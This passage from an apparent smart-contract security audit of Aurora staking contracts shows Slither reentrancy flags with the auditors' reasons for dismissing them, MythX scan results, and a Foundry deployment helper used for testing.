- StakingManager.cleanOrderQueue() (contracts/StakingManager.sol#305-322)
- StakingManager.constructor(address,address,address,uint256,uint256) (contracts/StakingManager.sol#90-113)
- StakingManager.getAvailableTimestamp(bool) (contracts/StakingManager.sol#198-195)
- StakingManager.nextCleanOrderQueue (contracts/StakingManager.sol#456)
- moveAndRemoveWithdrawOrders() (contracts/StakingManager.sol#314)
  - pendingOrder[i] = Order(assets, receiver) (contracts/StakingManager.sol#407)
StakingManager.pendingOrder (contracts/StakingManager.sol#75) can be used in cross function reentrancies:
- StakingManager.getUserPendingOrderIndex(address) (contracts/StakingManager.sol#168-176)
- StakingManager.moveAndRemoveWithdrawOrders() (contracts/StakingManager.sol#396-413)
- StakingManager.movePendingToAvailable() (contracts/StakingManager.sol#368-368)
- StakingManager.getPendingOrderAssets(address) (contracts/StakingManager.sol#198-201)
- moveAndRemoveWithdrawOrders() (contracts/StakingManager.sol#314)
  - totalWithdrawInQueue = 0 (contracts/StakingManager.sol#412)
StakingManager.totalWithdrawInQueue (contracts/StakingManager.sol#72) can be used in cross function reentrancies:
- StakingManager.moveAndRemoveWithdrawOrders() (contracts/StakingManager.sol#396-413)
- StakingManager.unstakeWithdrawOrders() (contracts/StakingManager.sol#372-394)
- StakingManager.createWithdrawOrder(uint256,address) (contracts/StakingManager.sol#324-341)
- StakingManager.totalAssets() (contracts/StakingManager.sol#267-269)
- StakingManager.totalWithdrawInQueue (contracts/StakingManager.sol#72)
Reference: https://github.com/cryptic/sliether/wiki/Detector-Documentation#reentrancy-vulnerabilities-1

```

- Arbitrary **from** in **transferFrom** issue does not pose any risk since the contract controls this value.
- Flagged re-entrancy issues do not pose a risk for scoped smart contract.
- Multiplication after division issues do not pose any risk since in these operations the decimal precision is being preserved during divisions.

## 5.2 AUTOMATED SECURITY SCAN

### Description:

Halborn used automated security scanners to assist with detection of well-known security issues and to identify low-hanging fruits on the targets for this engagement. Among the tools used was MythX, a security analysis service for Ethereum smart contracts. MythX performed a scan on the smart contracts and sent the compiled results to the analyzers to locate any vulnerabilities.

### MythX results:

- No major issues found by MythX.



# APPENDIX



Deployment contract used for Staking Pool Aurora testing:

**Listing 34: DeploymentHelper.sol**

```

1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.8.0;
3
4 import "forge-std/Test.sol";
5
6 import { MockERC20 } from "../mocks/MockERC20.sol";
7
8 import { AuroraStaking } from "contracts/testing/AuroraStaking.sol";
9
10 import { StakedAuroraVault } from "contracts/StakedAuroraVault.sol";
11
12 import { LiquidityPool } from "contracts/LiquidityPool.sol";
13 import { StakingManager } from "contracts/StakingManager.sol";
14 import { Depositor } from "contracts/Depositor.sol";
15
16 import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
17
18 contract DeploymentHelper is Test {
19     address public ALICE = makeAddr("ALICE");
20     address public BOB = makeAddr("BOB");
21     address public CHARLIE = makeAddr("CHARLIE");
22
23     address public ATTACKER = makeAddr("ATTACKER");
24
25     address public OPERATOR = makeAddr("OPERATOR");
26     address public FEECOLLECTOR = makeAddr("FEECOLLECTOR");
27     address public REWARDCOLLECTOR = makeAddr("REWARDCOLLECTOR");
28
29     MockERC20 aur;
30     MockERC20 centauri;
31
32     AuroraStaking auroraStaking;
33
34     StakedAuroraVault stakedAuroraVault;
35     LiquidityPool liquidityPool;
36     StakingManager stakingManager;
37     Depositor depositor;
38

```

```

39     constructor() {
40         aur = new MockERC20("Aurora", "AUR");
41         centauri = new MockERC20("Centauri", "CEN");
42
43         stakedAuroraVault = new StakedAuroraVault(
44             address(aur),
45             OPERATOR,
46             "Staked Aurora",
47             "stAUR",
48             0.01 ether
49         );
50
51         liquidityPool = new LiquidityPool(
52             address(stakedAuroraVault),
53             address(aur),
54             FEECOLLECTOR,
55             OPERATOR,
56             "LP Aurora Vault",
57             "lpAUR",
58             0.01 ether,
59             200,
60             8000
61         );
62
63         auroraStaking = new AuroraStaking(
64             address(aur),
65             address(centauri)
66         );
67
68         stakingManager = new StakingManager(
69             address(stakedAuroraVault),
70             address(auroraStaking),
71             OPERATOR,
72             50,
73             50
74         );
75
76         depositor = new Depositor(
77             address(stakingManager),
78             address(REWARDCOLLECTOR)
79         );
80
81         stakingManager.insertDepositor(address(depositor));
82

```

```
83         stakedAuroraVault.initializeLiquidStaking(  
84             address(stakingManager),  
85             address(liquidityPool)  
86         );  
87     }  
88 }
```



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